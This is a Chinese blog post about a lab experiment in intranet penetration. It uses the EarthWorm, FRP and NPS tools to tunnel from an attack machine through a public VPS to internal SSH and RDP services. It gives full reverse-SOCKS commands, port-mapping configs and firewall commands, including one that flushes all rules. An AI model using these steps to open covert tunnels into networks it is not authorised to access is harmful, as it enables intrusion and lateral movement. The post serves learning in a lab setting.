EW、FRP、NPS內網穿透實驗
免責聲明:本文章僅用於學習交流,請勿用於非法用途或未授權測試。閱讀者造成的任何破壞或負面影響,與作者無關。
第一次學習內網穿透,實驗大多爲個人理解,或許還有很多理解不到位。文中表達若有錯誤之處,還需各位師傅們幫忙指出。
很久沒發文章,發現CSDN居然加入了markdown直接拖動或複製圖片上傳的功能,好評好評哈哈!文章比較菜,被限號了也不敢發吐司QAQ
實驗目標:
使用不同內網穿透工具,在公網VPS與內網Centos之間建立通信。使攻擊機win7(或其他可上網的機器)通過VPS連接到內網Centos,並橫向移動訪問內網win2003的遠程桌面服務。
實驗主機
可上網的Win7:192.200.200.26
公網VPS
內網Centos:192.168.209.130(內網所有主機的流量都通過這臺內網主機)
內網Win2003:192.168.209.149(已開放遠程桌面3389)
Windows2003開啓遠程桌面:我的電腦-右鍵屬性-遠程-啓用遠程桌面
實驗拓撲
注:本次實驗所有配置都在公網VPS及虛擬機的虛擬內網CentOS中進行,公網VPS爲服務端,內網CentOS爲客戶端,所有訪問內網Win2003的流量都經由內網CentOS。閱讀時結合此拓撲圖,有助於理解該實驗。
一、EarthWorm
1.建立通信
公網VPS:./ew -s rcsocks -l 1080 -e 8888
內網Centos:./ew -s rssocks -d 公網VPS地址 -e 8888
配置隧道代理雙方通信後,服務端和客戶端就會不停打印輸出IP端口傳輸情況。
2.配置隧道代理
攻擊機win7(或其他可上網的主機)通過proxifier代理走ew建立的通信,以內網Centos的名義打開內網另一臺主機Win2003的遠程桌面。
ICMP沒走代理,直接ping是不通的。遠程桌面mstsc.exe走隧道代理,可直接訪問內網機器的遠程桌面。相當於Win7以內網CentOS的名義開啓內網Windows2003的遠程桌面服務。
3.連接遠程桌面
mstsc.exe走Proxifier代理後,打開遠程桌面輸入192.168.209.149即可直接連接成功。
二、FRP
1.下載及配置兩端的ini配置文件
下載地址:https://github.com/fatedier/frp/releases
服務端與客戶端要使用同版本,此處都使用V0.30。
服務端公網VPS,配置文件爲frps.ini,客戶端內網CentOS,配置文件爲frpc.ini。
分別查看事先配置過的frps.ini和frpc.ini。
frpc.ini
[common]
server_addr = 公網VPS地址
server_port = 7000
[ssh]
type = tcp
local_ip = 192.168.209.152
local_port = 22
remote_port = 2222
frps.ini
[common]
bind_port = 7000
# 管理端口,可通過http://ip:17500訪問
dashboard_port = 17500
# dashboard登陸用戶名密碼
dashboard_user = jellybean
dashboard_pwd = oreo
2.建立連接
服務端公網VPS:./frps -c ./frps.ini
客戶端內網CentOS:./frpc -c ./frpc.ini
看到success則建立成功,如果客戶端彈不上去,則去服務端iptables -nL
查看7000端口是否開啓(配置文件默認使用7000端口,也可更改)。
3.訪問FRP服務端web管理頁面
4.轉發內網機器的ssh服務
在客戶端Centos192.168.209.152的frpc.ini中配置了將本機22端口轉發至公網VPS的2222端口。
因此建立連接後,利用任意一臺可上網的主機,連接公網VPS的2222端口,即可連接到處於內網且沒有公網IP的客戶端Centos192.168.209.152的ssh服務。或ssh -p 2222 root@公網VPS地址
5.連接遠程桌面
內網客戶端Centos192.168.209.152的frpc.ini新增RDP配置內容。
[common]
server_addr = 公網VPS地址
server_port = 7000
[ssh]
type = tcp
local_ip = 192.168.209.152
local_port = 22
remote_port = 2222
[RDP]
type = tcp
local_ip = 192.168.209.149
local_port = 3389
remote_port = 9833
將內網win2003 192.168.209.149的3389端口映射到服務端公網VPS的9833端口。
若VPS的iptables防火牆入站有默認禁止所有的規則,則在iptables開放9833端口:
iptables -I INPUT -p tcp --dport 9833 -j ACCEPT
攻擊機(或其他可上網的主機)連接遠程桌面。
FRP穿透成功。
三、NPS
下載地址:https://github.com/ehang-io/nps/releases
1.下載服務端和客戶端並解壓
服務端:mkdir nps && cd nps && wget https://github.com/ehang-io/nps/releases/download/v0.26.0/linux_amd64_server.tar.gz &&tar -zxvf linux_amd64_client.tar.gz
客戶端:mkdir npc && cd npc && wget https://github.com/ehang-io/nps/releases/download/v0.26.0/linux_amd64_client.tar.gz &&tar -zxvf linux_amd64_client.tar.gz
服務端有conf文件夾、web文件夾、nps可執行文件,客戶端有conf文件夾和npc可執行文件。
服務端nps配置文件:nps/conf/nps.conf,netstat -ano | grep 8080
沒有端口占用時,即可默認8080。
#web
web_host=a.o.com
web_username=admin #web登錄頁面用戶名
web_password=123 #web登錄頁面密碼
web_port = 8080 #web登錄頁面端口號
web_ip=0.0.0.0
2.服務端安裝並啓動
安裝 sudo ./nps install && sudo nps start
訪問VPS的8080端口,登錄NPS的web圖形化管理頁面。
3.新增客戶端連接
左側菜單中選擇客戶端,新增客戶端,可以只填寫一個名字。
新增客戶端後得到一個隨機生成的vkey。
4.客戶端主動連接
複製圖中的命令./npc -server=公網VPS地址:8024 -vkey=djc6pk01mlnkrkls -type=tcp
,在安裝了客戶端npc的內網Centos機器中運行。
客戶端Centos192.168.209.152隨機開放一個端口連接公網VPS的8024端口,刷新web頁面,狀態變成online,建立通信。
5.創建tunnel隧道
點擊tunnel,創建tcp隧道。
服務端端口和內網目標(ip:端口)不要填錯。
tcp隧道創建成功,通過訪問公網VPS地址:13389即可進入該隧道,訪問到內網的192.168.209.149:3389服務。
6.訪問遠程桌面
用任一可訪問互聯網的機器進行測試。
NPS實驗成功。
四、總結
問題:怎麼都彈不上?主要是因爲端口沒有對外開放。
解決方法:iptables -nL 查看iptables防火牆規則,發現最後一條是禁止全部。因此插入規則,開放8888和1080端口。或直接情況防火牆規則:ipbtales -F
由於VPS的iptables防火牆入站有默認禁止所有的規則(我有點不忍心清空規則),於是就只能用一個端口開放一個端口。EarthWorm開放了1080和8888,FRP開放了7000、17500、9833和2222(ssh),NPS開放了8080、8024和13389。
在本實驗中,FRP和NPS感覺更像端口映射,把內網的服務映射到公網VPS的端口上。EarthWorm結合Proxifier,更像是攻擊機走Proxifier到了內網機器,把自己當成內網機器一樣走Proxifier去訪問其他內網主機的服務。
五、參考文章
EarthWorm:
https://blog.csdn.net/qq_21310689/article/details/85316833
https://bbs.ichunqiu.com/thread-36219-1-2.html
FRP:
https://www.jianshu.com/p/f934e6f76673
https://www.jianshu.com/p/219553bfeca9
https://www.cnblogs.com/hxun/p/10877746.html
NPS:
https://post.smzdm.com/p/a07md2nr/
https://blog.csdn.net/superDE009/article/details/99700179